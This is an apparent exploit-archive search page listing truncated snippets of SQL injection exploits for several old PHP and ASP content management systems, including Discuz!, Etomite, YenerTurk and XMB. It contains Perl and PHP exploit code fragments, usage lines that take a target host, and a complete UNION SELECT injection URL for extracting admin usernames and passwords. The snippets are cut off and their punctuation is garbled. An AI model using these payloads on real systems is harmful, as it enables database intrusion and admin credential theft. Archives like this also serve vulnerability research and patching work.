1997 matches found
ContentNow 1.39 (pageid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ===================================================== ContentNow 1.39 pageid Remote SQL Injection Exploit ===================================================== !/usr/bin/perl -w use IO::Socket; use strict; ContentNow "pageid" Sql Injection...
etm_0612_sqlinj.pl.txt
!/usr/bin/perl -w use IO::Socket; use strict; Etomite CMS "id" SQL Injection Version: 0.6.1.2 Url: http://www.etomite.org Author : Alfredo Pesoli 'revenge' Description: The "id" parameter isn't properly sanitised before being returned in sql query and can be used to inject craft SQL queries, we c...
Etomite CMS 0.6.1.2 Multiple Vulnerabilities ( Sql Injection + Local file inclusion )
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Etomite CMS 0.6.1.2 Multiple Vulnerabilities Severity : Medium risk Vendor : www.etomite.org Author : Alfredo Pesoli 'revenge' -------------------------------------------------- Description Etomite is a PHP Content Management System, more info can be...
articleSQL.txt
Article Script v1.and v1.6.3 Sql injection Script Name :Article Script Home Page:www.articlescript.org Bug Founder :Liz0ziM Mail:[email protected] Baba Kimdir? Tabiki Liz0ziM ------------------------------------------------------------ http://www.victim.com/articles/rss.php?category= ' sql İnjecti...
Discuz! 4.x SQL injection / admin credentials disclosure exploit
No description provided by source. ?phpbr / printr'br / ---------------------------------------------------------------------------br / Discuz! 4.x SQL injection / admin credentials disclosure exploitbr / by rgod [email protected] / site: http://retrogod.altervista.orgbr / dork: "powered by...
opendocman-1.2rc3.txt
opendocman = 1.2rc3 Bypass admin/user Login affected to opendocman-1.2p3 Download Source : http://www.opendocman.com/ Found By : k1tk4t - k1tk4t4tnewhack.org Location : Indonesia -- newhackdotorg @irc.dal.net file; index.php bugs; $frmuser = $POST'frmuser'; $frmpass = $POST'frmpass'; $query =...
Discuz! 5 SQL injection Exploit
No description provided by source. ?phpbr / printr'br / ---------------------------------------------------------------------------br / Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploitbr / by rgod [email protected] / site: http://retrogod.altervista.orgbr / dorks: "powere...
Discuz! 5.0.0 GBK SQL Injection / Admin Credentials Disclosure Exploit
No description provided by source. ?php printr' --------------------------------------------------------------------------- Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit by rgod [email protected] site: http://retrogod.altervista.org dorks: "powered by discuz! 5.0.0...
Discuz! 5.0.0 GBK - SQL Injection Admin Credentials Disclosure
Discuz! 5.0.0 GBK - SQL Injection Admin Credentials Disclosure 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result;...
Discuz! 5.0.0 GBK SQL Injection / Admin Credentials Disclosure Exploit
Exploit for unknown platform in category web applications ====================================================================== Discuz! 5.0.0 GBK SQL Injection / Admin Credentials Disclosure Exploit ====================================================================== 126 $result.=" ."; else...
Discuz! 5.0.0 GBK - SQL Injection / Admin Credentials Disclosure
126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result; $proxyregex = '\b\d1,3.\d1,3.\d1,3.\d1,3:\d1,5\b'; function...
GNUTURK 2G - t_id SQL Injection
GNUTURK 2G - tid SQL Injection ",$html; $rtmp=explode"",$tmp1; $ausername=$rtmp0; $tmp=explode'',$html; $rtmp=explode"",$tmp1; $apass=$rtmp0; echo "--------------------------------\n"; echo "Powered by p2y...
GNUTURK 2G - 't_id' SQL Injection
",$html; $rtmp=explode"",$tmp1; $ausername=$rtmp0; $tmp=explode'',$html; $rtmp=explode"",$tmp1; $apass=$rtmp0; echo "--------------------------------\n"; echo "Powered by p2y\n"; echo "Admin username : $aus...
Haberx 1.02 < 1.1 - 'tr' SQL Injection
+++++++++++++++++++++++++++++++++++++++++++++++++++ + Haberx v1.1 tr SQL Injection Vulnerability + + Author : Fix TR + + Site : www.hack.gen.tr + + Contact : fixtratbsdmail.com + +++++++++++++++++++++++++++++++++++++++++++++++++++ + Download: http://www.aspindir.com/Goster/3983 + Versions: 1.02...
Timesheet 1.2.1 Blind SQL Injection Vulnerability
About: Timesheet.php is a PHP application designed to keep track of the hours worked by multiple people on multiple projects. It allows users to log in through their web browser and manage the times that they are clocked on or clocked off. Description: A vulnerability can be found on the file...
CubeCart 3.0.11 - 'oid' Blind SQL Injection
!/usr/bin/php -q -d shortopentag=on this works against MySQL =4.1 allowing subs -------------------------------------------------------------------------------- '; / short explaination: software site: http://www.cubecart.com/site/home/ same kind of sql injection of...
Spidey Blog Script <= 1.5 (tr) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications ================================================================= Spidey Blog Script = 1.5 tr Remote SQL Injection Vulnerability ================================================================= Spidey Blog Script == 1.5 tr SQL Injection...
[SA21397] YenerTurk Haber Script "id" SQL Injection Vulnerability
YenerTurk Haber Script v1.0 SQL Injection Vulnebrality Credit:ASIANEAGLE Contact:[email protected] Exploit: Admin Nick: http://SITE/Path to YenerTurk/default.asp?x=2&kategori=11&id=-120union20select200,kullaniciadi,2,3,4,5,6,7,820from20admin20where20id20like201 Admin pass: http://SITE/Path to...
myBloggie <= 2.1.4 (trackback.php) Multiple SQL Injections Exploit
Exploit for unknown platform in category web applications ================================================================== myBloggie = 4.1 allowing subs / if $argctrackbackreply1, "Sorry, Trackback failed.. Reason : No title"; if!empty$REQUEST'url'...
XMB 1.9.6 - mqoff u2uid SQL Injection
XMB 1.9.6 - mqoff u2uid SQL Injection !/usr/bin/php -q -d shortopentag=on = 4.1 allowing subs / if $argc5 echo "Usage: php ".$argv0." host path username password OPTIONS\n"; echo "host: target server ip/hostname\n"; echo "path: path to XMB \n"; echo "user/pass: you need a valid user account\n";...